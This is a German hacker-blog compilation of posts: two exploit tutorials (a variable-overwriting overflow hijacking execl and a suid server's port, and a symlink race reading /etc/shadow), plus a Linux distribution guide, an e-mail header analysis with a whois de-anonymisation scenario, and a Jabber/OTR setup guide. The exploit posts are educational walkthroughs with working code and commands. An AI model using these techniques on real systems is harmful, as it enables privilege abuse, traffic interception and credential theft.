Advanced Stack-Bufferoverflows

Eine Art “Tutorial”, welches ich von “frechdachs1337” zugesandt bekommen habe. Ganz nuetzlich, mag es euch daher nicht vorenthalten 😉

tutorial[0] – Einleitung

Dieses Tutorial behandelt die Problematik von dem begrenzten Überschreiben von Variablen.

Jeder kennt die 0815 Overflows wie: strcpy(text, argv[1]) ….. LANGWEILIG!
Doch was bleibt uns überrig wenn man zwar aus dem Speicherbereich der
ursprünglichen Variable “ausbrechen” kann aber nicht bis zur RET kommt sondern
nur andere Variablen die im weiteren Programmablauf genutzt werden
überschreiben kann, ja dann muss man kreativ werden!

tutorial[1] – Praktische Erklärung anhand eines komplett beknackten Beispiels ;D

  #include 
  #include 
  #include 
  
  int main (int argc, char **argv){
  	char h [] = "/bin/uname";
  	char text[100];
  
  	if(argc > 1)
  		strncpy(text, argv[1], 110);
  	printf("%s\n", h);
  	execl (h,h, (char *)0);
  	return 0;
  }

Hier ist es ganz offensichtlich: Wir können h mit 10 Bytes überschreiben.
h wird im nachhinein als Argument für execl benutz was für uns aüßerst
attraktiv ist. Hier ein kleiner und selbsterklärender Exploit-Log:

  ./test `perl -e 'printf "a"x110'`

aaaaaaaaaa

  ./test `perl -e 'printf "a"x100 . "/bin/ls\x00"'`

[LIST DIRECTORY EXECUTED]

Somit konnten wir das Überschreiben von unseren programmeigenen Variablen
erfolgreich auszunutzen.

tutorial[2] – Praktische Erklärung anhand eines komplett beknackten und
umfangreicherem Beispiel ;D

Folgendes Szenario: Wir sind auf einer Linux user-shell gelandet.
Wir haben keine Root Rechte finden allerdings ein suid-root Programm
+ Quellcode.

  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  
  int main(int argc, char **argv) {
  	int s,c, i;
  	socklen_t addr_len;
  	struct sockaddr_in addr;
  	char file_line[60];
  	char recvb[1024];
  	s = socket(AF_INET, SOCK_STREAM, 0);
  	if(atoi(argv[1]) < 1024)
  		return 1338;
  	addr.sin_addr.s_addr = INADDR_ANY;
  	addr.sin_port = htons(atoi(argv[1]));
  	addr.sin_family = AF_INET;
  
  	FILE *fp = fopen("prefs.cfg", "r");
  	for(i = 0; i < 65; i++)
  		file_line[i] = getc(fp);
  	fclose(fp);
  
  	bind(s, (struct sockaddr*)&addr, sizeof(addr));
  
  	listen(s, 3);
  
  	addr_len = sizeof(addr);
  	for(;;){
  		c = accept(s, (struct sockaddr*)&addr, &addr_len);
  		recv(c, recvb, sizeof(recvb), 0);
  		printf("%s\n", recvb);
  		close(c);
  	}
  	close(s);
  	return 0;
  }

Wie der Linuxgelehrte Leser sicher weiß, darf nur der Rootuser auf den Ports die
kleiner sind als 1024 lauschen. Dies wollen wir umgehen und mit unserem
Programm Packete ergaunern die auf schützenswerten Ports geschickt werden.
Wer das Programm selbst Exploiten möchten sollte hier aufhören zu lesen,
viel Glück!

Für alle anderen Schwachmaten:

  ....
  struct sockaddr_in addr;
  char file_line[60];
  ....
  FILE *fp = fopen("prefs.cfg", "r");
  for(i = 0; i < ---->65<-----; i++)
  		file_line[i] = getc(fp);
  fclose(fp);

Klingelts? Wir können die ersten vier Bytes von sockaddr_in addr überschreiben
indem wir die Datei prefs.cfg mit 65 Bytes füllen (Wir können gottseidank Nullbytes
verwenden).
Was nützt uns das?

  ...
  addr.sin_addr.s_addr = INADDR_ANY;
	--->>addr.sin_port = htons(atoi(argv[1]));
	addr.sin_family = AF_INET;
  ...

In addr stehen alle wichtigen Daten zur Verbindung für den Server.
Somit auch der Port! Nun müssen wir herausfinden wie diese vier Bytes
aussehen wenn wir z.b auf Port 21 lauschen wollen.
Dazu schreiben wir uns ein kleines Hilfprogramm welches wir Lokal ausführen:

  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  int main () {
  	struct sockaddr_in addr;
  	memset(&addr, 0x0, sizeof(addr));
  	addr.sin_addr.s_addr = INADDR_ANY;
  	addr.sin_port = htons(21);
  	addr.sin_family = AF_INET;
  	printf("%x\n", addr);
  	return 0;
  }

Dies gibt aus: 0x15000002
Das bedeutet: 0x1500 = Rückgabe von htons()
0x00 = Irgendwie zwingend vielleicht noch ein anderer Sinn.
0x02 = Die sin_family.

Somit brauchen wir uns nur noch ein Programm schreiben was uns die
pref.cfg entsprechend füllt und unser Victim starten.

  #include 
  #include 
  
  int main (){
  	char buffer[66];
  	memset(buffer, 'a', 64);
    buffer[60] = 0x02;
  	buffer[61] = 0x00;
  	buffer[62] = 0x00;
  	buffer[63] = 0x15;
  	FILE *fp = fopen("prefs.cfg", "w");
  	int i;
  	for(i = 0; i < 65; i++)
  		putc(buffer[i], fp);
  	fclose(fp);
  }

Hier unser finaler Log:

  ./filler
  ./victim 5555
  [PACKETE AUF PORT 21]

Ich hoffe dieser wichtige Abschnitt war aüßerst verständlich.

tutorial[3] - Nachwort

Ich verzichte.

[Tut] Simple Race Conditions

So, auf Wunsch von p0nny hier mal ein Blogeintrag von mir.

Ich dachte, ich mache einfach mal ein kleines Paper zu einfachen Race Conditions,

vielleicht interessiert es ja jemanden…

/***************************
*                            *
*   Simple Race Conditions   *
*                            *
*   written by GregorSamsa   *
* [email protected] *
*                            *
*****************************/

0x01 {
 Ein kleines Vorwort:
 Hier mal ein kleines Paper zum Thema Race Conditions.
 Wieder eines der Paper die geschrieben wurden,
 um Anfängern das Leben zu erleichter ;)

 Naja, nichts besonderes, aber vllt. regt es den ein oder
 anderen zum nachdenken an...
}

0x02 {
 Was sind Race Conditions?
 Race Conditions sind Situationen, in denen es darum geht,
 dass die Programmausführung von einem Programm solange braucht,
 dass der Angreifer oder ein zweites Programm diese Zeit ausnutzen
 kann, um den Ablauf des ersten Programmes zu ändern.

 Ich habe hierfür ein kleines C-Programm geschrieben, dass
 diesen Umstand simuliert.
}

0x03 {
 /** Simple Race Condition - Example **/
 #include <stdio.h>

 int main(int argc, char **argv)
 {
 FILE *f;
 char c;

 if(argc < 2) {
 printf("usage: %s <filename>\n", argv[0]);
 return 1;
 }

 if(strcmp(argv[1], "secretfilename") == 0) {
 printf("filename correct\nreading %s\n", argv[1]);
 }
 else {
 printf("wrong filename\npls w8 4 next try...\n");
 remove(argv[1]);
 sleep(5);
 }

 f = fopen(argv[1], "r");
 if(f == NULL) {
 printf("cannot open file...\nmaybe wrong filename...?\n");
 return 1;
 }

 while(!feof(f)) printf("%c", fgetc(f));

 fclose(f);

 return 0;
 }
}

0x04 {
 Überlegungen:
 Schauen wir uns dieses Programm an:
 Als erstes überprüft es den Dateinamen.
 Wir gehen einfach mal davon aus, dass wir
 "secretfilename" nicht aus dem Speicher lesen
 können. Das könnte ja auch eine sha-1 Prüfsumme
 des Dateinamens sein ;)

 Wenn der Dateiname nicht richtig ist, wird die Datei
 gelöscht und es werden 5 Sekunden gewartet.

 Später wird versucht die Datei zu öffnen und zu lesen.
 Wenn der falsche Dateiname eingegeben wurde,
 ist die Datei gelöscht und kann nicht gelesen werden...
 Oder doch...?
}

0x05 {
 Angriff:
 Da wir secretfilename nicht wissen, probieren wir
 einfach mal so, das Programm zu starten:

 [samsa@hades ~]$ ./rc
 usage: ./rc <filename>
 [samsa@hades ~]$ ./rc test
 wrong filename
 pls w8 4 next try...
 <5 sek warten>
 cannot open file...
 maybe wrong filename...?

 Die Angriffsmöglichkeit besteht in der Wartezeit
 von 5 Sekunden.
 Die Datei wird erst gelöscht, _danach_ wird gewartet
 und dann versucht die Datei zu öffnen.
 Daher haben wir ganz locker Zeit, in diesen 5 Sekunden
 die Datei neu zu erstellen, damit die Ausgelesen wird:
 (In dem Beispiel gehen wir davon aus, dass wir ein
 SUID root Programm haben und /etc/shadow lesen wollen)

 [samsa@hades ~]$ ./rc test &    # im Hintergrund starten
 [1] 1337
 [samsa@hades ~]$ wrong filename
 pls w8 4 next try

 [samsa@hades ~]$ ln -s /etc/shadow test    # während der 5 Sekunden eine Datei anlegen,
die auf /etc/shadow verweist
 [samsa@hades ~]$ <inhalt von /etc/shadow>
 [1]+ Fertig            ./rc test
 [samsa@hades ~]$

 Ganz einfach, oder? :P
 Selbst wenn "test" besteht, wird diese Datei gelöscht,
 da der Dateiname falsch ist.
 Allerdings wird erst _danach_ 5 sek. gewartet,
 und wir erstellen in der Zeit eine Verknüpfung zu /etc/shadow,
 die dann von dem Programm ausgelesen wird. Easy, aren't it?
}

0x06 {
 Schlusswort:
 Das war kein Übermäßiges Tut und in ~45 min. geschrieben.
 Aber vllt. hilft es euch, Designfehler bei Programmabläufen
 zu verstehen und auszunutzen.

 Wer noch Fragen hat findet mich da:
 [email protected]
 irc.freenode.net #back2hack  http://back2hack.cc/
 irc.ircdotnet.net #free-hack  http://free-hack.com/
}

0x07 {
 oh shit, da greetz section... but meh like mah
 1337 friendz so meh hav 2 greetz them here!!!111
 J0hn.X3r - 4 u ;)
 BlackBerry - meh like u :-*
 h0yt3r - caaatz meow <3333
 Invisibility, Cheese, 0x30, aKiller - only: <3
 OpCodez - drugs r bad, but u r cool :P
 ...and kazuya, RedTiger, soulstoned, gesocks and teh
 other user from #back2hack and #free-hack i like u
}

/** n0p **/

Linux 101

Hay guise
Vor einer halben Ewigkeit hatte ich schonmal die Ehre meine Schreibkünste auf diesem Blog zur Schau stellen. Dieser Artikel wird sich jedoch um ein anderes Thema kümmern: Einige Kniffe für Linuxanfänger.

Einige Worte zu Linux im Allgemeinen

Einige eingefleischte Windowsjünger werden sich jetzt vielleicht fragen, wieso man sich überhaupt als h4xx0r überlegen soll, zu Linux zu wechseln. Zu den Vorteilen von Linux gegenüber Windows zählen ganz sicher die geringere Infektionsgefahr (Viren, Bots, Trojaner etc.), das sehr grosse Angebot an opensource Software, die grössere Kontrolle über das System und einfach das Gefühl, dass man nicht mehr von ein paar seriösen Programmierern in Redmond abhängig ist, sondern nun die Ergüsse von potrauchenden Kernelhackern aus der ganzen Welt benutzt. Es gibt jedoch noch immer einige  Nachteile von Linux gegenüber Windows:
Einerseits gibt es viele von Windows gewohnte Programme nicht für Linux, sein System zum laufen zu bekommen kann zum Teil ein ziemliches gefrickel sein und gerade in Sachen 3D (Games) zieht Linux meistens immernoch den kürzeren. Nichtsdestotrotz läuft Steam mit den meisten älteren Spielen (COD4, HL2, CSS) einwandfrei auf Linux (mit wine). Auch Designtechnisch lässt sich Linux sehr stylen und muss sich überhaupt nicht vor Vista oder 7 verstecken.

Wahl der Distribution

Anders als bei Windows oder OSX handelt es sich bei GNU-Linux nur um den Kernel. Um ein produktives System nutzen zu können greifen die meisten Linuxianer auf verschiedene Distributionen zurück. Grob gesagt handelt es sich bei einer Distribution um den Linux Kernel gepaart mit (meist) Opensource Anwendungen, die zusammen ein nutzbares Betriebssystem bilden.
Nun gibt es aber verschiedenste Distributionen, die sich in vielen Belangen voneinander unterscheiden. Deshalb werde ich hier nur diejenigen Distris aufzählen, die ich selber benutzt habe oder die mir von Bekannten empfohlen wurden.

Ubuntu
Ubuntu wird heute vielfach für den Linux Einstieg gewählt. Es basiert wie viele andere Distributionen auf Debian und nutzt auch noch dessen Paketmanager APT.
Die Vorteile von Ubuntu sind die gute Hardwareunterstützung, die grosse Community, die Einfachheit, die vielen mitgelieferten Programme und die gesicherte zukünftige Entwicklung.
Ubuntu gibt es in verschiedenen Versionen mit unterschiedlichen Workspaces. Die meistgebrauchten sind Unbuntu mit Gnome als Workspace, Kubuntu mit KDE und Xubuntu mit XFCE. Die meisten werden mit Ubuntu zufrieden sein, wer es etwas schlichter mag, oder etwas ältere Hardware hat greift zu Xubuntu. Die Wahl zwischen KDE und Gnome ist eine Frage der Präferenz und es gibt immer mal wieder Trolling von Gnome Anhängern gegen KDE und umgekehrt. Am beisten einfach mal alle Versionen per Live-CD antesten und sich die aussuchen, die am besten gefällt.

Debian
Debian gilt als das Serverbetriebssystem schlechthin und wird von den meisten (meist etwas unerfahreneren) Leuten auf ihren Rootservern benutzt. Der Vorteil für den Servergebrauch sind die Stabilität, die gesicherte Zukunft. Für den Desktop eignet sich Debian eher weniger, da man meist eine ältere (eventuell stabilere) Version der Software per APT bekommt. Dennoch benutzen Debian einige User, die nicht jeden Crap der mit Ubuntu mitgeliefert wird auf ihrem System haben wollen. Ich persönlich sehe es als Zwischenstufe für Leute, die sich von Anfang an an die Konsole trauen und nicht tonnenweise Software auf ihrem System wollen, die sie nie brauchen werden.

Arch
Arch Linux ist eine Distribution für etwas fortgeschrittenere Linuxuser und setzt schon bei der Installation etwas technisches Verständniss voraus (mit dem sehr guten Wiki von Arch – Englischkenntnisse vorausgesetzt – lässt die sich aber relativ gut bewähltigen). Der Vorteil liegt meines Erachtens im wirklich sehr guten Paketsystem namens pacman und in der Möglichkeit, sein eigenes System genau nach seinen eigenen Vorstellungen zusammenzubauen.

Gentoo
Gentoo ist wohl noch etwas “komplizierter” als Arch einzuschätzen und bietet gegenüber den bisher genannten Distributionen den Vorteil (oder auch Nachteil), dass der Paketmanager die Pakete nicht als Binary (die schon kompillierten Daten) sondern als Sourcecode herunterlädt und jeweils optimiert für das System kompilliert. Dies dauert bei älterer Hardware für grössere Pakete einige Zeit (laut Blackberry auf seinem Netbook für xorg mehrere Tage). Ansonsten ist Gentoo wohl ähnlich einzuschätzen wie Arch, nur dass es meines Wissens eine Gentoo Live-CD gibt, die bei Arch nicht existiert (zumindest nicht offiziell).

Weiteres

Wer sich jetzt entschieden hat Linux auszuprobieren oder gar ganz auf Linux zu wechseln kann sich weitere Informationen in seiner favorisierten Suchmaschine holen (die meisten Informationen sind auf Englisch, für die hier genannten Distributionen gibt es aber AFAIK auch grössere deutsche Communities).

Ausblick

Im nächsten Artikel werde ich einige Szenespezifsche Tricks erläutern (Verschlüsselung, Socks, Entwicklungsumgebungen für Programmiersprachen etc.).

Nun denn
so long
bl0b

PS. Um die Gayness des Blogs durch die vielen PussyTunes zu mildern hier ein kewles Video von unseren extrem 1337en schwedischen Kumpels:

Nach seinem ersten “Paper” hat bl0b nun einen weiteren Artikel fuer meinen Blog verfasst. Vielen lieben Dank hierfuer und ich hoffe, dass dieses Paper einigen Linuxanfaengern etwas geholfen hat 🙂

E-mail Header Analysis

Sup,
In meinem ersten post bei J0hn.X3r schreibe ich was über mail Header Analysis und welche Informationen man aus einer empfangenen E-mail auslesen kann.

1. Wie kriegt man diese daten zu sehen?

Dafür muss dein gmx oder gmail account in einem mail Programm wie Thunderbird, auf dem PC eingerichtet sein.
Ich Persönlich nutze Thunderbird:

E-mail markieren > Ansicht > Nachrichten-Quelltext
oder
E-mail markieren > Strg+U

Bei jedem E-Mail Programm ist es unterschiedlich wie man an den E-mail Header ran kommt,
aber ein Programm verändert nichts am E-mail Header, der bleibt bei jedem Programm gleich.

2. Wie sieht so ein E-mail header aus?

Montaxx war so freundlich und hat mir eine E-mail geschickt, die ich hier als “Versuchsobjekt” benutzen kann.

From - Thu Mar 11 20:06:14 2010
X-Account-Key: account2
X-UIDL: UID3-1267740838
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:
Return-path: <[email protected]>
Envelope-to: [email protected]
Received: from fmmailgate03.web.de ([217.72.192.234])
	by cn04.oleco.net with esmtp (Exim 4.69)
	(envelope-from <[email protected]>)
	id 1Npnhh-000IxY-FP
	for [email protected]; Thu, 11 Mar 2010 20:05:53 +0100
Received: from smtp06.web.de (fmsmtp06.dlan.cinetic.de [172.20.5.172])
	by fmmailgate03.web.de (Postfix) with ESMTP id 67A60143B1596
	for <[email protected]>; Thu, 11 Mar 2010 20:05:09 +0100 (CET)
Received: from [12.345.67.89] (helo=[192.168.1.100])
	by smtp06.web.de with asmtp (TLSv1:AES256-SHA:256)
	(WEB.DE 4.110 #314)
	id 1Npngy-0006RN-00
	for [email protected]; Thu, 11 Mar 2010 20:05:08 +0100
Message-ID: <[email protected]>
Date: Thu, 11 Mar 2010 20:05:10 +0100
From: montaxx <[email protected]>
User-Agent: Thunderbird 2.0.0.23 (Windows/20090812)
MIME-Version: 1.0
To: [email protected]
Subject: Kostenlose =?ISO-8859-15?Q?Penisverl=E4ngerung?=
Content-Type: text/plain; charset=ISO-8859-15; format=flowed
Content-Transfer-Encoding: 7bit
Sender: [email protected]
X-Sender: [email protected]
X-Provags-ID: V01U2FsdGVkX19CYzu4/AFWSFIJvYkOC/wqBg5tdVIQraa4qAVT
	7yZOSya/AG1SQ1uObm45gu+bYIFd0bWqfL/BYvUztoDDbE4Kx7
	b0jZs0Y4U=
X-Spam-Score: 0.2
X-Spam-Report: 0.2 MR_NOT_ATTRIBUTED_IP   Beta rule: an non-attributed IPv4 found in
	headers
	0.6 J_CHICKENPOX_12        BODY: 1alpha-pock-2alpha
	-2.6 BAYES_00               BODY: Bayesian spam probability is 0 to 1%
	[score: 0.0000]
	2.0 RATWR10_MESSID         Message-ID has ratware pattern (HEXHEX.HEXHEX@)
	0.0 NO_RDNS2               Sending MTA has no reverse DNS

hi n0va von Thunderbird

3. Was bedeuten diese Daten?

From - Thu Mar 11 20:06:14 2010

Empfangsdatum + Uhrzeit, erklärt sich von selbst.

X-Account-Key: account2

Nichts intressantes

X-UIDL: UID3-1267740838

Steht für (unique identifier listing), damit vermeidet der Client bereits kopierte E-mails nochmal zu laden.

X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 

Mozilla status codes, nichts intressantes.

Return-path: <[email protected]>

An diese Adresse wird bei einer antwort gesendet (kann sich von der Sender E-mail unterscheiden).

Envelope-to: [email protected] 

Empfänger

Received: from fmmailgate03.web.de ([217.72.192.234])
	by cn04.oleco.net with esmtp (Exim 4.69)
	(envelope-from <[email protected]>)
	id 1Npnhh-000IxY-FP
	for [email protected]; Thu, 11 Mar 2010 20:05:53 +0100

Der Empfänger Mailserver cn04.oleco.net hat vom Sender Mailserver fmmailgate03.web.de, (IP Adresse 217.72.192.234) am 11. März 2010 um 20:05:53 Uhr die E-mail erhalten.
+0100 Steht für die Zeitzone des Empfänger Servers. esmtp steht für das Protokoll(erweiterung) womit diese E-mail übertragen wurde.

Received: from smtp06.web.de (fmsmtp06.dlan.cinetic.de [172.20.5.172])
	by fmmailgate03.web.de (Postfix) with ESMTP id 67A60143B1596
	for <[email protected]>; Thu, 11 Mar 2010 20:05:09 +0100 (CET)

Hier sieht man den smtp server und ein paar weitere informationen, nichts neues für uns.

Received: from [12.345.67.89] (helo=[192.168.1.100])
	by smtp06.web.de with asmtp (TLSv1:AES256-SHA:256)
	(WEB.DE 4.110 #314)
	id 1Npngy-0006RN-00
	for [email protected]; Thu, 11 Mar 2010 20:05:08 +0100

Dort wo [12.345.67.89] steht, müsste eigentlich die IP Adresse des Senders stehen (wurde zensiert). Des weiteren sieht man das der Sender Server das asmtp Protokoll nutzt.
Meine E-mail, also die Empfänger E-mail Adresse ist auch sichtbar mitsamt datum wann die Mail ankam.

Message-ID: <[email protected]>
Date: Thu, 11 Mar 2010 20:05:10 +0100

Die Message-ID ist eine Art Seriennummer für E-mails, Damit lässt sich eine E-mail unmissverständlich identifizieren. Datum erklärt sich auch wieder von selbst.

From: montaxx <[email protected]>
User-Agent: Thunderbird 2.0.0.23 (Windows/20090812)

Hier sieht man wieder Die Sender E-mail Adresse.

Darunter befinden sich weitere interessante Details über den Sender, er benutzt Thunderbird  version 2.0.0.23 mit dem Betriebsystem Windows.
Die zahlen hinten sehen aus wie ein Datum, wahrscheinlich nutzt der Sender Windows 7.

MIME-Version: 1.0
To: [email protected]

Nichts was wir nicht schon wissen …

Subject: Kostenlose =?ISO-8859-15?Q?Penisverl=E4ngerung?=
Content-Type: text/plain; charset=ISO-8859-15; format=flowed
Content-Transfer-Encoding: 7bit

Hinter Subject: befindet sich der angegebene Betreff der E-mail umlaute werden umgewandelt.
Content-Type: sagt das der eigentliche Inhalt der E-mail aus reinem Text besteht mit dem Zeichensatz charset=ISO-8859-15.

Sender: [email protected]
X-Sender: [email protected]

Wieder nichts neues.

X-Provags-ID: V01U2FsdGVkX19CYzu4/AFWSFIJvYkOC/wqBg5tdVIQraa4qAVT
	7yZOSya/AG1SQ1uObm45gu+bYIFd0bWqfL/BYvUztoDDbE4Kx7
	b0jZs0Y4U=

Hinter X-Provags-ID: steht eine E-mail in verschlüsselter form, aber diese intressiert nicht.

X-Spam-Score: 0.2
X-Spam-Report: 0.2 MR_NOT_ATTRIBUTED_IP   Beta rule: an non-attributed IPv4 found in
	headers
	0.6 J_CHICKENPOX_12        BODY: 1alpha-pock-2alpha
	-2.6 BAYES_00               BODY: Bayesian spam probability is 0 to 1%
	[score: 0.0000]
	2.0 RATWR10_MESSID         Message-ID has ratware pattern (HEXHEX.HEXHEX@)
	0.0 NO_RDNS2               Sending MTA has no reverse DNS

Weitere nutzlose Informationen.

hi n0va von Thunderbird

Der eigentliche Inhalt der E-mail, das was Montaxx mir geschrieben hat.

Es gibt im Internet einige tools die einem bei der E-mail Header analyse helfen:
http://www.mxtoolbox.com/Public/Tools/EmailHeaders.aspx
http://headertool.apelord.com/headers

Einfach den E-mail Header rein kopieren und es sich tabellarisch ausgeben lassen.

Weitere Informationen:
http://th-h.de/faq/headerfaq.php
http://de.wikipedia.org/wiki/Header_%28E-Mail%29

4. Was kann man mit diesen Daten anfangen?

Angreifer nutzen diese Informationen um sich ein Bild vom (Ziel)netzwerk zu machen und es besser verstehen können (Stichwort: information gathering, network mapping).
Manche Websites nutzen ihre eigenen POP und SMTP Server, somit vergrößert sich die Angriffsfläche.
Wenn z.b. der POP Server schlecht gesichert ist oder eine veraltete Software darauf läuft, dann wird es gefährlich für den Betreiber.

Anderes Szenario:
Die Domain der Website von Person A hat eine whois protection, aber Person A nutzt eine Private E-mail Adresse, der POP Server wurde auf seinen echten Namen registriert.
Der Angreifer Person X will den echten namen von Person A herausfinden. Er kontaktiert Person A mit einer E-mail auf die Person A antworten “muss”, z.B.:

Schicke Seite, wie lange hast du dafür gebraucht? Antworte plz.

Person A antwortet auf diese E-mail und sendet damit Informationen über seinen POP Server, Angreifer X macht eine whois abfrage und sieht den echten Namen von Person A.

FIN

Ich hoffe ich konnte hier einen informativen beitrag leisten.
Dieser post wird bald auch in Englisch erscheinen

P.S.: Das ist mein erster post auf Deutsch :P.

Visit me at: www.novacaine.site11.com

Mfg, n0va

From - Thu Mar 11 20:06:14 2010

Wie benutze ich Jabber?

Hallo,

ihr habt bestimmt schon von Jabber gehört oder gelesen.

Falls ihr nicht wisst was es ist, es ist ein IM-Protokoll, ähnlich wie ICQ oder MSN.

Wer mehr darüber lesen will, schaut sich das mal an.

Das erste was ihr braucht ist ein Client, da gibt es viele Auswahlmöglichkeiten, ich persöhnlich finde Pidgin gut, aber testet ruhig mehrere aus, kostet ja nichts. (Außer Zeit :P)

Hier mal ein paar Clienten:

Pidgin

Psi-IM

Pandion

[Größere Liste für z.B. Linux only ect.]

Wenn ihr euch für einen entschieden habt, kann es weitergehen.

Als nächstes suchen wir uns einen Jabber Server aus.

Ich habe bei mir den des CCC’s genommen:

jabber.ccc.de

Hier ist eine große Liste von Jabber Servern!

Der Rest erklärt sich fast von selbst, aber ich werde es jetzt mal an Pidgin zeigen.

Wir klicken oben auf “Konten”, dann auf “Konten verwalten”

step1.jpg

Danach füllen wir die Felder aus.

step2.jpg

Nochmal das Passwort zur bestätigung eingeben und auf Wunsch abspeichern, danach kannst losgehen!

step3.jpg

Eure Addy ist jetzt:

[email protected]

Aber es gibt ein nettes Plugin, das sich Off-The-Record (kurz OTR) nennt, damit sind private Konversationen auch sicher 😉

Mehr Infos dazu hier.

Soderle, ich wünsch euch noch einen schönen Abend,

Euer GentleMan